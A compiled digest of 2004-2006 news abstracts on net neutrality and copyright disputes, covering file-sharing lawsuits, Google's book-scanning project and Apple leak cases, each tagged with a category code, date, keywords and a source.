COMMITTEE KILLS NET NEUTRALITY BILL

The House Energy and Commerce Committee has killed an amendment designed to guarantee net neutrality. The amendment would have prevented Internet service providers from delivering different content at different speeds based on content providers' having paid extra fees. Supporters of the amendment, including Microsoft, Amazon, and Google, argued that the Internet was built on ideas antithetical to the notion of paying fees to have content available to consumers. They called on Congress not to drop the issue but to "enact legislation preventing discrimination" against certain content providers. Opponents of the amendment, including cable and phone companies, suggested that the landscape of online content, including such material as movie-quality video, could be available to consumers if content providers paid a surcharge for it. Joe Barton (R-Tex.), chairman of the committee, commented that net neutrality is "still not clearly defined" and that he doubts the dire predictions of the amendment's supporters.

Category 4A9 *Net neutrality*

2006-05-20 **net neutrality Internet Service Providers ISP tiered pricing differential bandwidth allocation speed preferential treatment contracts consumers customers availability accessibility visibility usability**

RISKS; NYT http://www.freepress.net/news/15726 24 30

NET NEUTRALITY DEBATE HEATS UP

Sir Tim Berner-Lee, inventor of the World Wide Web, publicly critized proposals to move to a multi-tiered Internet in which high-paying corporate clients could receive preferential allocations of bandwidth while non-profits and individuals might stagnate in a mire of slow -- or no -- access. Writer Adam Cohen presented a summary of the issues in a New York Times article on May 29, 2006. Key points:

* ISPs and large corporations are pushing for permission to discriminate among content providers by charging for bandwidth. More fees, more speed.

* A growing movement is organizing to push the US Congress to block such attacks on "net neutrality."

* Breaking down net neutrality could permit open censorship of content providers -- for example, blocking or interfering with access based on political preferences.

* Fees for higher bandwidth could curtail new developments such as shared images from cellphones that could generate three-dimensional images of news events.

* Tiered pricing may harm even the ISPs because users may reject paying for services that they expect to be free (once their ISP subscriptions are paid).

4B1 Copyrights

Category 4B1 Copyrights

2004-12-16 **copyright music Hatch MPAA Specter politics**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A4003-2004Dec16.html

WHAT PROSPECT FOR CHANGE IN COPYRIGHT POLICY?

On the issue of protecting music and movies from Internet piracy, Senator Orrin Hatch (R, UT), a songwriter himself, has been the entertainment industry's most powerful ally in Congress, but in 2005 Sen. Arlen Specter (R, PA) will replace Hatch as chairman of the Senate Judiciary Committee. Will there be much change? One aide says that Specter "has been a follower rather than a leader on these issues" and therefore might let Hatch keep holding the reins. However, David Green of the Motion Picture Association of America (MPAA) predicts that Specter will rise to the occasion: "Copyright issues are important and they're going to percolate up, and it's really impossible for him to ignore them. He might be right now more interested in something else, but because these issues are important to America they are going to be important to Arlen Specter." (Washington Post 16 Dec 2004)

Category 4B1 Copyrights

2005-01-05 **DMCA Digital Millennium Copyright Act BSA Business Software Alliance ISP Internet service provider law legislation proposal change immunity piracy**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A51966-2005Jan5.html

SOFTWARE GROUP WANTS TO CHANGE COPYRIGHT ACT

The Business Software Alliance, whose members include Microsoft, IBM, Intel, Adobe, and other high-tech giants, wants Congress to clamp down on Internet service providers who allow their users who swap copyrighted software, music or video files online through services such as Kazaa, Grokster and Morpheus. The group wants Congress to amend the 1998 Digital Millennium Copyright Act but has so far offered no specifics on how that law should be changed -- except to suggest that Internet service providers should no longer enjoy blanket immunity from liability for piracy by users. However, the BSA approach has a number of critics, such as Mike Godwin of the group Public Knowledge, who calls the approach a "terribly bad idea," and Verizon attorney Sarah B. Deutsch, who warns: "The best policy is not to have the service provider become Big Brother. BSA wants its own shortcut, at the expense of consumer privacy and the ISPs." (Washington Post 5 Jan 2005)

Category 4B1 Copyrights

2005-01-14 **Apple Mac Mini Mac iPod Thinksecret.com suit**

NewsScan; http://online.wsj.com/article/0

APPLE SUES STUDENT FOR DIVULGING SECRETS

Nicholas Ciarelli launched what has become one of the most influential Apple-focused Web sites when he was 13 as a hangout for fellow Mac enthusiasts, but his penchant for posting trade secrets has gotten the now-19-year-old Harvard student, who publishes online under the name Nick dePlume, in hot water. Apple filed a lawsuit Jan. 4 against ThinkSecret.com and its unnamed tipsters, charging: "Apple is informed and believes that Defendant Nick dePlume is an individual who uses the pseudonym 'Nick dePlume' but whose true name and identity cannot be confirmed at this time." Apple, known for its highly secretive culture, says it believes ThinkSecret obtains its information by illegally soliciting information about unreleased Apple products from individuals who violate their confidentiality agreements. In fact, on Dec. 28 the site correctly predicted Apple's debut of its $499 Mac Mini and a low-cost iPod. In response to Apple's accusations, Ciarelli replies, "I didn't do anything wrong. My reporting practices are the same that any journalists use. I talk to sources, I confirm details, I follow up on tips and leads that I get." It will be difficult for Apple to prove that Ciarelli's coverage has violated its trade secrets, says an intellectual property attorney, noting that trade secrets usually refer to the formula behind products, not simply the details about their release. (Wall Street Journal 14 Jan 2005)

Category 4B1 *Copyrights*

2005-03-11 **file sharing illegal downloading UK British ISP BPI identity disclosure intellectual property rights violation copyright infringement**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=7877847

BRITISH ISPS TOLD TO TURN OVER FILE TRADERS

A British court has ruled that ISPs in that country must disclose the identities of alleged copyright violators to the British Phonographic Industry (BPI). The BPI had sought the names of about 30 individuals suspected of uploading significant numbers of songs to file-sharing networks. The court has given the six ISPs named in the suit 14 days to turn over the requested identities, which are known currently only by their IP addresses. The BPI will then contact those individuals and offer to settle the charges against them outside court. The British music industry has recently reached its first round of settlements with alleged copyright infringers, a process that Geoff Taylor, general counsel of the BPI, said showed the organization that "people from all walks of life are engaged in this activity." Reuters, 11 March 2005

Category 4B1 *Copyrights*

2005-03-11 **Sweden file sharing illegal downloading ISP raid intellectual property rights violation copyright infringement MPAA**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=7882727

SWEDEN RAIDS ISP FOR FILE TRADING

Police in Sweden raided the Stockholm offices of Bahnhof, the country's largest and oldest Internet service provider (ISP), long suspected of facilitating rampant copyright violations. According to John Malcolm of the Motion Picture Association of America (MPAA), which had urged Swedish authorities to carry out such a raid, Bahnhof operated some of the largest and fastest servers in Europe. Of the four servers seized in the raid, one is thought to be the largest pirate server in Europe, according to the MPAA. Malcolm said the raid uncovered evidence not only of organized piracy in Sweden but also of such activity throughout Europe. Equipment seized in the raid reportedly contained 1,800 digital movies, 5,000 software files, and 450,000 audio files. Reuters, 11 March 2005

Category 4B1 *Copyrights*

2005-03-12 **intellectual property confidentiality instant messaging internet service provider ISP value added network VAN AOL AIM**

RISKS; http://www.aim.com/tos/tos.adp 23 79

AOL CLAIMS INTELLECTUAL PROPERTY RIGHTS TO AIM CONTENT

Alistair McDonalt wrote:

>AOL has changed their Terms of Service for users of their services….

Users of their services, for example AOL Instant Messenger (AIM) in particular should note the details, including: "by posting Content on an AIM Product, you grant AOL, its parent, affiliates, subsidiaries, assigns, agents and licensees the irrevocable, perpetual, worldwide right to reproduce, display, perform, distribute, adapt and promote this Content in any medium".<

Category 4B1 *Copyrights*

2005-03-14 **Holland Netherlands file sharing illegal downloading warning intellectual property rights violation copyright infringement**

EDUPAGE; http://www.usatoday.com/tech/world/2005-03-14-dutch-download_x.htm

DUTCH ISPS ISSUE WARNINGS TO FILE TRADERS

Five Internet service providers (ISPs) in the Netherlands have agreed to send notices from the Brain Institute, the antipiracy arm of the country's entertainment industries, to subscribers suspected of illegally trading copyrighted music, movies, and software. The ISPs did not go so far, however, as agreeing to disclose the identities of those users to entertainment companies. Maaike Scholten, spokesperson for two of the five ISPs, described the move as "a service, a warning to clients that they are doing things that are against the law." In 2003, the Dutch Supreme Court ruled that file-sharing applications are legal, leaving copyright owners the option of pursuing individuals who use such applications for copyright violations, as in the United States. Tim Kuik, director of the Brain Institute, said his organization hopes to reach settlements with illegal file traders but anticipates it will be forced to file civil lawsuits against some. Associated Press, 14 March 2005

Category 4B1 *Copyrights*

2005-03-16 **Microsoft lawsuit Windows XP Office academic discount eBay sale David Zamos intellectual property rights violation**

EDUPAGE; http://chronicle.com/prm/daily/2005/03/2005031606n.htm

MICROSOFT AND STUDENT SETTLE OVER SOFTWARE RESALE

Microsoft and David Zamos have reached a settlement in their dispute over Zamos's sale on eBay of Microsoft software he purchased while a student at the University of Akron. After Zamos bought Windows XP Pro and Microsoft Office from the university bookstore, he found he was not permitted to return it, though it was unopened. Zamos, who paid about $50 for both products because of deep educational discounts, decided to sell the software on eBay, where he sold each for about $100. The sale prompted Microsoft to file a lawsuit alleging that Zamos improperly benefited from academic pricing, in violation of company policies. Zamos argued that such policies were not explained on the packaging, and he countersued the company, alleging that because of Microsoft's actions and policies, obtaining a refund for software is virtually impossible. Although both parties expressed their satisfaction with the resolution, a confidentiality agreement covering the settlement prevents disclosure of any details. A statement from Microsoft did note, however, that the company will "continue its commitment to protecting those intended to benefit from its academic program,"
suggesting it will continue to look unfavorably on anyone reselling academic purchases. Chronicle of Higher Education, 16 March 2005 (sub. req'd)

Category 4B1 *Copyrights*

2005-03-18 **Agence France Presse AFP lawsuit Google intellectual property rights violation copyright infringement without permission**

EDUPAGE; http://news.com.com/2100-1030_3-5626341.html

AGENCE FRANCE PRESSE TAKES GOOGLE TO COURT

Agence France Presse (AFP) has filed a lawsuit against Google in the U.S. District Court for the District of Columbia, alleging that the search engine gives access to AFP headlines, stories, and photographs without proper permission. AFP does not make its content available free online, instead charging users subscription fees to access it. Officials from AFP said they have notified Google about the alleged copyright violations but that Google "continues in an unabated manner to violate AFP's copyrights." AFP is seeking damages of at least $17.5 million as well as an injunction forbidding Google from displaying further AFP content. CNET, 18 March 2005

Category 4B1 *Copyrights*

2005-03-18 **John Wiley and Sons publisher lawsuit selling guidebooks online intellectual property rights violation copyright infringement cheating**

EDUPAGE; http://www.insidehighered.com/news/2005/03/18/cheating

STUDENTS SUED FOR SELLING GUIDEBOOKS ONLINE

Publisher John Wiley and Sons has filed lawsuits against a number of individuals for selling guidebooks online that include answers to tests and assignments in certain of the company's textbooks. The publisher also said it has reached settlements with about 150 individuals, most of them students, after investigating sales of the guidebooks--which the company does not sell but provides only to professors--on eBay. No faculty have been implicated so far. Those named in the suits did not respond to the publisher when it contacted them about the illicit sales. According to Roy S. Kaufman, legal director of Wiley, illegal copies of the text are still widely available online, despite the company's efforts. "This is a new form of cheating and copyright violation," said Kaufman, "with a Malthusian growth cycle." Inside Higher Ed, 18 March 2005

Category 4B1 *Copyrights*

2005-03-24 **intellectual property rights violation copyright infringement Apple Tiger source code leak lawsuit settlement**

EDUPAGE; http://news.com.com/2100-1047_3-5632119.html

APPLE SETTLES WITH MAN ACCUSED OF LEAKING CODE

Apple Computer has settled a lawsuit against Doug Steigerwald of North Carolina for leaking the company's upcoming Macintosh operating system, called Tiger. As part of the Apple Developer Connection (ADC) program, Steigerwald, a recent graduate of North Carolina State University, had prerelease access to the operating system. The ADC program allows software developers to create products that will operate with a new operating system before it is released to the public, and participants in the program are required to sign a contract that prohibits disclosure of information about Apple products before they are launched. In a statement, Steigerwald admitted distributing prerelease copies of Tiger over the Internet in violation of the ADC contract he signed. Specifics of the settlement were not released, but a statement from Apple said, "While Apple will always protect its innovations, it is not our desire to send students to jail." The statement also expressed the company's satisfaction that Steigerwald took responsibility for his actions. CNET, 24 March 2005

Category 4B1 *Copyrights*

2005-04-07 **University of California electronic reserves Fair Use exceeded publishers complaint intellectual property rights violation copyright infringement**

EDUPAGE; http://chronicle.com/prm/daily/2005/04/2005040701t.htm

UC ELECTRONIC RESERVES RANKLE PUBLISHERS

A system that handles electronic reserves at the University of California (UC) in San Diego has prompted complaints from publishers that the university has far exceeded the bounds of fair use. With the system, materials that faculty put on reserve are made available electronically, allowing students to access and even print them from outside the university library. The Association of American Publishers objected, saying that electronic access substantially changes the traditional terms of reserve materials and deprives publishers of sales. Publishers have previously won legal challenges to the production of coursepacks, which the courts said do not fall under the terms of fair use. The publishing group insisted the same applies to electronic resources. Representatives of UC disputed the claims, saying the reserve system does not infringe on sales of texts. Jonathan Franklin, associate law librarian at the University of Washington, noted that the fair use law is not clear and commented that if the disagreement is ultimately settled by the courts, such a resolution might provide needed clarification for all concerned. Chronicle of Higher Education, 7 April 2005 (sub. req'd)

Category 4B1 *Copyrights*

2005-04-12 **music piracy peer-to-peer P2P file sharing illegal downloading intellectual property rights violation copyright infringement RIAA IFPI increased lawsuits**

EDUPAGE; http://news.bbc.co.uk/2/hi/entertainment/4436223.stm

MUSIC INDUSTRY STEPS UP LAWSUITS

Efforts to stem illegal file trading were ratcheted up this week with announcements about new rounds of lawsuits against individuals accused of piracy. The International Federation of the Phonographic Industry said it plans to file 963 lawsuits in 11 countries in Europe and Asia, representing the largest single action against file traders. Meanwhile, the British Phonographic Industry (BPI) said it will file actions against 33 users in the United Kingdom. Previously, the BPI has filed suits against 57 individuals, some of whom have reached settlements with the organization. Geoff Taylor, general counsel of the BPI, said his group has warned users repeatedly that illegal file trading will not be tolerated and that those found guilty will have to pay. BBC, 12 April 2005

Category 4B1 *Copyrights*

2005-04-13 **music movie piracy Internet2 i2hub peer-to-peer P2P file sharing illegal downloading intellectual property rights violation copyright infringement RIAA lawsuit threat**

EDUPAGE; http://chronicle.com/prm/daily/2005/04/2005041302t.htm

ENTERTAINMENT INDUSTRY TARGETS INTERNET2 USERS

Organizations representing record companies and movie studios announced this week they will begin filing copyright infringement lawsuits targeting users of i2hub, a file-sharing system that lets users exchange data over Abilene, Internet2's high-speed research network. Because of the network's speed--and a belief among some users that their actions on i2hub could not be detected by the entertainment industry--students on a number of Internet2 campuses have engaged in widespread illegal file trading, according to Cary Sherman, president of the Recording Industry Association of America (RIAA). The RIAA said it will file suits against 405 of what it described as the most egregious violators at 18 campuses. The trade group also sent letters to the presidents of 140 other colleges and universities, indicating what it sees as rampant abuse of the Internet2 network for trading copyrighted songs and movies and asking those institutions to work to limit activities that "violate the law and [their] own Acceptable Use Policies." The Motion Picture Association of America also said it will file similar suits but declined to say how many. Officials from
Internet2 acknowledged that trading unlicensed material over its network violates its policies and those of its member institutions. Greg Wood, spokesperson for Internet2, said the group has been working with member institutions on technologies that support effective and legal uses of the network. Chronicle of Higher Education, 13 April 2005 (sub. req'd)

Category 4B1 *Copyrights*

2005-04-15 **University of Wyoming old tests posting Website intellectual property rights violation copyright infringement university policy violation**

EDUPAGE;
http://www.cnn.com/2005/EDUCATION/04/15/old.tests.website.ap/

STUDENT FORCED TO TAKE TESTS OFF THE WEB

The University of Wyoming has insisted that a student remove copies of old tests from his Web site. Aaron Narva, a senior at the university, had posted the tests online and initially sold them to other students. Later, Narva gave the tests away for free. Narva said that old tests are a useful study aid, noting that the athletics department as well as sororities and fraternities make copies of tests available to their members. Dane Ciolino, professor of copyright law at Loyola University, said that Narva's comparison fails because by posting the tests online, he is making many more copies available. Ciolino also noted that fair use cannot apply if Narva was charging money for the tests. Narva is charged with violating university policies and will have a hearing at the university later this month. CNN, 15 April 2005

Category 4B1 *Copyrights*

2005-04-20 **file sharing debate Cornell University intellectual property rights violation copyright infringement**

EDUPAGE; http://chronicle.com/prm/daily/2005/04/2005042001t.htm

STUDENTS AT CORNELL DEBATE FILE SHARING WITH INDUSTRY

A recent colloquium at Cornell University pitted representatives of the entertainment industry against critics who say the copyright system is too restrictive and stifles innovation. Cary Sherman, president of the Recording Industry Association of America, and Fritz Attaway, executive vice president and general counsel of the Motion Picture Association of America, debated with Fred von Lohmann, lawyer with the Electronic Frontier Foundation, and Siva Vaidhyanathan, professor of communications at New York University, in front of a lively audience of about 200 students. Tracy Mitrano, policy adviser to Cornell's Office of Information Technologies, commented that the presence and participation of so many students indicated their earnest concern over legal and ethical issues surrounding file sharing. Though not the direct subject of the debate, Cornell is currently running a pilot program of the legal music-download service Napster, and participants on both sides offered their perspectives. A representative of Napster called the program a success, pointing to the large percentage of students who use the service regularly. On the other hand, von Lohmann said that the service is not a good deal for universities. "It feels free," he said, "but one way or another, you're paying for it." Chronicle of Higher Education, 20 April 2005 (sub. req'd)

Category 4B1 *Copyrights*

2005-04-20 **file sharing illegal downloading BPI UK identity disclosure intellectual property rights violation copyright infringement lawsuit**

EDUPAGE; http://www.theregister.com/2005/04/19/bpi_p2p_lawsuits/

BRITISH COURTS ORDER FILE SHARERS TO BE IDENTIFIED

A British judge has ordered five ISPs to disclose the identities of 33 individuals accused by the British Phonographic Industry (BPI) of sharing more than 72,000 music files over the Web. The ruling is the latest win for the BPI in its efforts to combat illegal file sharing. ISPs have previously been forced to reveal the identities of another 57 individuals, all of whom were targeted for copyright violations. A recent study by research group TNS estimated that illegal file sharing cost the music industry more than 650 million pounds over the past two years. TNS also found that nearly 20 percent of people in the United Kingdom between the ages of 12 and 74 download music on the Internet, though the study did not distinguish between legal and illegal downloads. Representatives of the BPI contend that their efforts are working, noting that nearly 85 percent of those who do not currently download music said they would not do so illegally and that 15 percent of those who download illegally said they will begin to pay for music online. The Register, 20 April 2005

Category 4B1 *Copyrights*

2005-04-28 **US intellectual property rights copyright anti-piracy law Family Entertainment and Copyright Act stiffer penalties violations**

EDUPAGE; http://networks.silicon.com/webwatch/0,39024667,39129955,00.htm

U.S. STRENGTHENS COPYRIGHT LAW

President Bush this week signed into law the Family Entertainment and Copyright Act, which allows for stiffer penalties for copyright violations. Under the law, individuals found guilty of possessing one or more copyrighted movie, music, or software files that have not been released to the public face a fine and prison term of up to three years. The law also criminalizes using a camcorder to record movies in theaters. Copyright holders supported the measure. Dan Glickman of the Motion Picture Association of America thanked Congress for what he called "their strong advocacy for intellectual property rights." Although some consumer groups opposed the law, some observers described it as a relatively minor expansion of existing law. Eric Goldman, professor of copyright law at Marquette University Law School, said he expects the Justice Department to use its new authority responsibly. Silicon.com, 28 April 2005

Category 4B1 *Copyrights*

2005-05-23 **Google book scanning digitize Library Project Association of American University Presses intellectual property rights violation copyright infringement**

EDUPAGE; http://chronicle.com/free/2005/05/2005052301t.htm

GOOGLE UNDER FIRE FOR LIBRARY PROJECT

The Association of American University Presses has become the latest group to voice objections to Google Print for Libraries, a project in which the search engine is scanning some or all of the books in five university and public libraries in the United States and Britain. In a letter to Google, the organization questions the notion that copyright law allows Google to scan copyrighted works into its database, even if only small portions of those texts are available online. Peter Givler, the group's executive director, said that copyright law fundamentally applies to making copies, regardless of what is done with them. The Publishers Association, which represents publishers in England, has also objected to the project, raising many of the same objections as the Association of American University Presses. For its part, Google said it is working with publishers to address their concerns and to make the project beneficial to them as well. Hugh P. Jones, copyright counsel of the Publishers Association, said he has been in contact with Google but that so far the two groups have failed to agree. Chronicle of Higher Education, 23 May 2005

Category 4B1 *Copyrights*

2005-06-20 **Google book scanning digitize Library Project University of Michigan Ann Arbor contract sharing Harvard Stanford New York intellectual property rights violation copyright infringement**

EDUPAGE; http://chronicle.com/prm/daily/2005/06/2005062001t.htm

MICHIGAN SHARES GOOGLE CONTRACT

In an effort to address concerns that have arisen over Google's project to digitize vast numbers of books from several libraries, the University of Michigan at Ann Arbor has made its contract with Google available online. Google has entered into agreements with libraries at Michigan, as well as Stanford University, Harvard University, the University of Oxford, and the New York Public Library, to scan most or all of their books, including those still protected by copyright. Books in the public domain will be made available on the Web; for those under copyright, only short excerpts will be online. Critics have contended that simply making digital copies of copyrighted books is a violation of copyright protections. The contract states that if either party becomes aware of copyright infringement, it will be quickly addressed. The contract also indicates that, aside from compensation for costs of transporting books, the university will receive no money for its participation in the project. John P. Wilkin, associate university librarian at Michigan, said he hopes that by making the university's contract publicly available, critics will see that there is nothing sneaky going on between Google and the library. Chronicle of Higher Education, 20 June 2005 (sub. req'd)

Category 4B1 *Copyrights*

2005-07-14 **Australian copyright infringement music piracy link lawsuit ISP intellectual property rights violation**

EDUPAGE; http://news.com.com/2100-1030_3-5788344.html

AUSTRALIAN MAN AND ISP FOUND GUILTY OF LINKING TO PIRATED MUSIC

A court in Australia has found Stephen Cooper guilty of copyright infringement, as well as his Internet service provider (ISP) and several of its employees. Although Cooper did not provide copyrighted music files for download, he did create a Web site that directed users to sites that offered pirated music. Record companies had alleged that Cooper conspired with individuals at Comcen, the ISP named in the suit, to use the site to drive traffic to the ISP, thereby increasing opportunities for advertising revenue. The court agreed, marking the first time in Australia that someone has been convicted for the act of linking to pirated material online. The judge in the case has not yet determined damages. After the verdict, Michael Kerin, general manager of Music Industry Piracy Investigations, hailed the ruling as an important victory in the fight against piracy. "The verdict showed that employees of ISPs who engage in piracy can be seen in the eyes of the court as guilty," he said. CNET, 14 July 2005

Category 4B1 *Copyrights*

2005-08-01 **peer-to-peer P2P intellectual property rights violation copyright infringement music piracy file sharing downloading lawsuits litigation UK Britain BPI**

EDUPAGE; http://news.bbc.co.uk/2/hi/entertainment/4735821.stm

BRITISH MUSIC INDUSTRY SUES FILE TRADERS

After reaching settlements with more than 60 alleged illegal file traders, the British Phonographic Industry (BPI) has filed civil charges against five individuals who reportedly refused to settle with the organization, according to Geoff Taylor, BPI general counsel. In March, a British court ruled that Internet service providers must disclose the names of those accused of copyright violations to the BPI. The suit alleges that the five defendants shared a total of nearly 9,000 songs on the Internet. "We will be seeking an injunction and full damages for the losses they have caused," said Taylor, "in addition to the considerable legal costs we are incurring as a result of their illegal activity." Although growing numbers of computer users are taking advantage of legal online music services, the BPI said it will continue efforts to prosecute illegal file traders. BBC, 1 August 2005

Category 4B1 *Copyrights*

2005-08-07 **intellectual property rights copyright Kansas Supreme Court ruling public institutions faculty work ownership revenue sharing**

EDUPAGE; http://insidehighered.com/news/2005/08/08/kansas

KANSAS SUPREME COURT TO RULE ON OWNERSHIP OF FACULTY WORK

The Kansas Supreme Court will evaluate an appellate court decision giving public institutions in Kansas the right to claim ownership of any faculty work, including books, with no negotiation on terms required. The lower court treated faculty work as "work for hire" under federal copyright law, classifying scholarly work as within the scope of employment of a faculty member. The current policy, designed in 1998, allows faculty to keep their book rights and has a revenue-sharing model for technology copyrights. Should the higher court decide in favor of the board, the policy could be changed at will. The case pits the Kansas Board of Regents against the Kansas National Education Association. Inside Higher Ed, 7 August 2005

Category 4B1 *Copyrights*

2005-08-12 **Google book scanning digitization Library project intellectual property rights violation copyright infringement AAP**

EDUPAGE; http://chronicle.com/free/2005/08/2005081201t.ht

GOOGLE MODIFIES LIBRARY PROJECT

Google has announced some changes to its Library Project following vocal criticism from a number of publishers. Under the terms of the project, Google made arrangements with five major libraries to scan some or all of their books, posting at least a portion of each book in an online repository for public access. Publishers complained that making such electronic copies of copyrighted works--regardless of whether they are put online--violates the rights of the copyright holder. Google now says it will not scan any book that a publisher specifically asks to be exempted, and it will not scan any copyrighted books until November, giving publishers time to review titles they might want excluded. Publishers appeared unmoved, however, with the Association of American Publishers (AAP) saying that Google's new plan "places the responsibility for preventing infringement on the copyright owner rather than the user." Peter Givler of the Association of American University Presses echoed the AAP's dissatisfaction with the changes to the project. He was glad that Google is trying to address publishers' concerns but said of the new policy that it "doesn't seem to me that it gets us very far." Chronicle of Higher Education, 12 August 2005

Category 4B1 *Copyrights*

2005-08-31 **Google book scanning digitization project intellectual property rights violation copyright infringement lawsuits litigation**

EDUPAGE; http://www.internetnews.com/xSP/article.php/3531221

GOOGLE PRESSES FORWARD SCANNING BOOKS

Google is moving ahead with its plans to digitize vast numbers of books and make them available online. The search engine this week expanded its book search service to 14 countries, including the United Kingdom, Canada, India, New Zealand, South Africa, and Australia, where users can now search English-language books. Although laws in each country dictate small differences in how the service works, according to Jim Gerber, director of content partnerships, in all countries the service offers three types of results: for books in the public domain, the entire text is available online; copyrighted works whose publishers have signed agreements with Google are available to the extent that those agreements allow; for copyrighted books whose publishers have not made agreements with Google, only selected portions will be available online. This last group of results has raised the ire of publishers, who argue that Google has no right to display any part of copyrighted works without permission. Google has offered publishers the opportunity to identify specific titles that will be excluded from the service, but most publishing groups have said that approach is inherently backwards, giving Google blanket authority until and unless publishers complain. Internet News, 31 August 2005

Category 4B1 *Copyrights*

2005-09-02 **lawsuit litigation intellectual property rights violation copyright infringement graduate student paper sale vendor Website**

EDUPAGE; http://www.insidehighered.com/news/2005/09/02/papers

STUDENT SUES ONLINE TERM-PAPER VENDORS

A graduate student has filed a lawsuit charging three online vendors of term papers with selling a paper she wrote without her permission. Blue Macellari is currently pursuing graduate degrees at Johns Hopkins University and Duke University. The paper in question, which was written when she was a student at Mount Holyoke College, was posted on Macellari's personal Web page in 1999 but turned up for sale on DoingMyHomework.com, FreeforEssays.com, and FreeforTermPapers.com, all of which are owned by an Illinois company called R2C2. Macellari said she did not give her permission to use the paper, which itself could violate honor codes at Johns Hopkins and Duke. John Palfrey, law professor at Harvard University and executive director of the Berkman Center for Internet and Society, said that the defendants will have difficulty prevailing if Macellari's complaint is accurate. On the question of whether the action would have an appreciable effect on the sale of papers online, Palfrey was less optimistic. Comparing Macellari's lawsuit to similar actions to limit spam, he noted that spam continues to grow unabated. "It's hard to bring enough spam lawsuits to make a big difference," he said. Inside Higher Ed, 2 September 2005

Category 4B1 *Copyrights*

2005-09-06 **intellectual property rights violation copyright infringement Kazaa guilty ruling Australia music piracy**

EDUPAGE; http://www.internetnews.com/xSP/article.php/3532336

KAZAA FOUND GUILTY OF COPYRIGHT VIOLATIONS IN AUSTRALIA

An Australian court this week ruled in favor of the Recording Industry Association of America (RIAA) in its lawsuit against the developers of the Kazaa file-sharing service for copyright violations. The ruling is the second major blow to file traders this year, after the U.S. Supreme Court in June found Grokster liable for the copyright violations of its users. The court in Australia said that Sydney-based Sharman Networks, which owns and operates Kazaa, is well aware that its network is widely used to illegally trade copyrighted files and has done little to curb the practice other than adding warnings on the site. Those warnings, as well as an end user agreement that users must sign, "are ineffective to prevent, or even substantially to curtail, copyright infringements by users," said Judge Murray Wilcox in his ruling. Wilcox ordered Sharman to install filters on Kazaa to limit copyright violations within two months or discontinue the service. Wilcox also ordered Sharman to pay the majority of the RIAA's legal costs, and later this year a hearing will be held to assign damages that Sharman must pay to the entertainment industry. Internet News, 6 September 2005

Category 4B1 *Copyrights*

2005-09-21 **intellectual property rights violation copyright infringement Google book scanning project lawsuit litigation Authors Guild**

EDUPAGE; http://news.com.com/2100-1030_3-5875384.html

AUTHORS GUILD TAKES GOOGLE TO COURT

The latest challenge to Google's Print Library Project has come in the form of a lawsuit from the Authors Guild. Since Google announced its initiative to scan millions of books in several academic and public libraries and put those materials--or portions of them--online, the search engine has been roundly criticized by publishers and others who say the entire project represents copyright infringement. Nick Taylor, president of the Authors Guild, said, "It's not up to Google or anyone other than the authors, the rightful owners of these copyrights, to decide whether and how their works will be copied." Google continues to assert that it respects copyright and that the project does not violate copyright laws. Moreover, Google contends that the project will be a boon for publishers due to the broad exposure that scanned books will have online. Plaintiffs, who are seeking class action status for their suit, are asking the courts for damages and an injunction against scanning the texts in question. CNET, 21 September 2005

Category 4B1 *Copyrights*

2005-09-28 **Wikibooks Wikipedia online free Internet open source book publishing Google digital library intellectual property rights copyright**

EDUPAGE; http://news.zdnet.com/2100-9588_22-5884291.html

WIKIBOOKS ENTERS TEXTBOOK PUBLISHING FIELD

The Wikimedia Foundation launched the Wikibooks project to create a kindergarten-to-college curriculum of textbooks based on an open source development model. Material written for the new texts can be short or long and easily modified, and the resulting Wikibooks would be freely licensed. The goal is to produce thousands of books and smaller entries on a range of topics by employing a worldwide community of writers and editors. Any reader or student could create a personalized book or edit an existing title. Wikibooks currently contains more than 11,000 submissions from volunteers (professionals in many fields, college and graduate students, and professors). The project is still in the early stages and faces competitors such as Google's digital library project, which has run into copyright issues.
ZDNet, 28 September 2005

Category 4B1 *Copyrights*

2005-10-03 **Yahoo intellectual property rights copyright book scanning project Open Content Alliance Internet Archive**

EDUPAGE; http://chronicle.com/free/2005/10/2005100301t.htm

YAHOO ANNOUNCES BOOK-SCANNING PROJECT

Yahoo has announced a plan to scan large collections of texts into an online digital archive, though officials said their approach differs in important ways from Google's similar venture, which has drawn extensive criticism and legal action. Yahoo's initiative, called the Open Content Alliance (OCA), represents a partnership with the University of California, the University of Toronto, the Internet Archive, and several other companies and organizations. Unlike Google's project, they will not scan any copyrighted work without explicit permission. Organizers of the project said the goal is to digitize and make freely available as much of what is in the public domain as possible. In addition, the archive will not be restricted to users of Yahoo. David Mandelbrot, Yahoo's vice president for search content, said the texts will be online in such a way that other search engines will be able to locate them. Much of the scanning for the OCA will be done by the Internet Archive, which has already been working with the University of Toronto on scanning several thousand books in its collection. Chronicle of Higher Education, 3 October 2005

Category 4B1 *Copyrights*

2005-10-07 **Google intellectual property rights violation copyright infringement book scanning project**

EDUPAGE; http://chronicle.com/daily/2005/10/2005100701t.htm

AUTHOR AND PUBLISHER PULL BOOKS FROM GOOGLE

Google's controversial program to scan millions of books has run afoul of a very prolific author and his publisher. Jacob Neusner, a research professor of theology at Bard College, has written more than 900 books. Calling Google's book-scanning project a violation of copyright, Neusner requested that his books not be included in the database. Google's response was that Neusner must submit a separate form for each book he wanted excepted from the project. Siding with Neusner, the Rowman & Littlefield Publishing Group, which has published many of Neusner's titles, then told Google it wanted all of its titles excluded from the project as well. Calling the scanning project "unfair and arrogant," Jed Lyons, president of Rowman & Littlefield, said, "[W]e don't want to do business with an organization that thumbs its nose at publishers and authors." Lyons said representatives from Google are trying to persuade the publisher to change its decision. Chronicle of Higher Education, 7 October 2005 (sub. Req'd)

Category 4B1 *Copyrights*

2005-10-11 **intellectual property rights Copyright Clearance Center permissions Blackboard higher education**

EDUPAGE; http://www.insidehighered.com/news/2005/10/11/copyright

SECURING COPYRIGHT PERMISSIONS GETS EASIER

The Copyright Clearance Center is launching a program to link its services with the Blackboard course management system. The center was created by Congress in the late 1970s to help businesses and academics obtain appropriate permissions from copyright holders. The new Copyright Permissions Building Block will allow users of Blackboard, which is implemented on about 1,200 campuses, to tie directly into the Copyright Clearance Center when creating a course. Many faculty are unsure about when permissions are needed to use copyrighted material in a course and when they are not, exposing themselves and their universities to possible copyright violations. The new tool will protect faculty and their institutions from such risks while ensuring that the rights of copyright holders are respected. Officials from the Copyright Clearance Center said they hope to add the functionality to other vendors' course management systems. Inside Higher Ed, 11 October 2005

Category 4B1 *Copyrights*

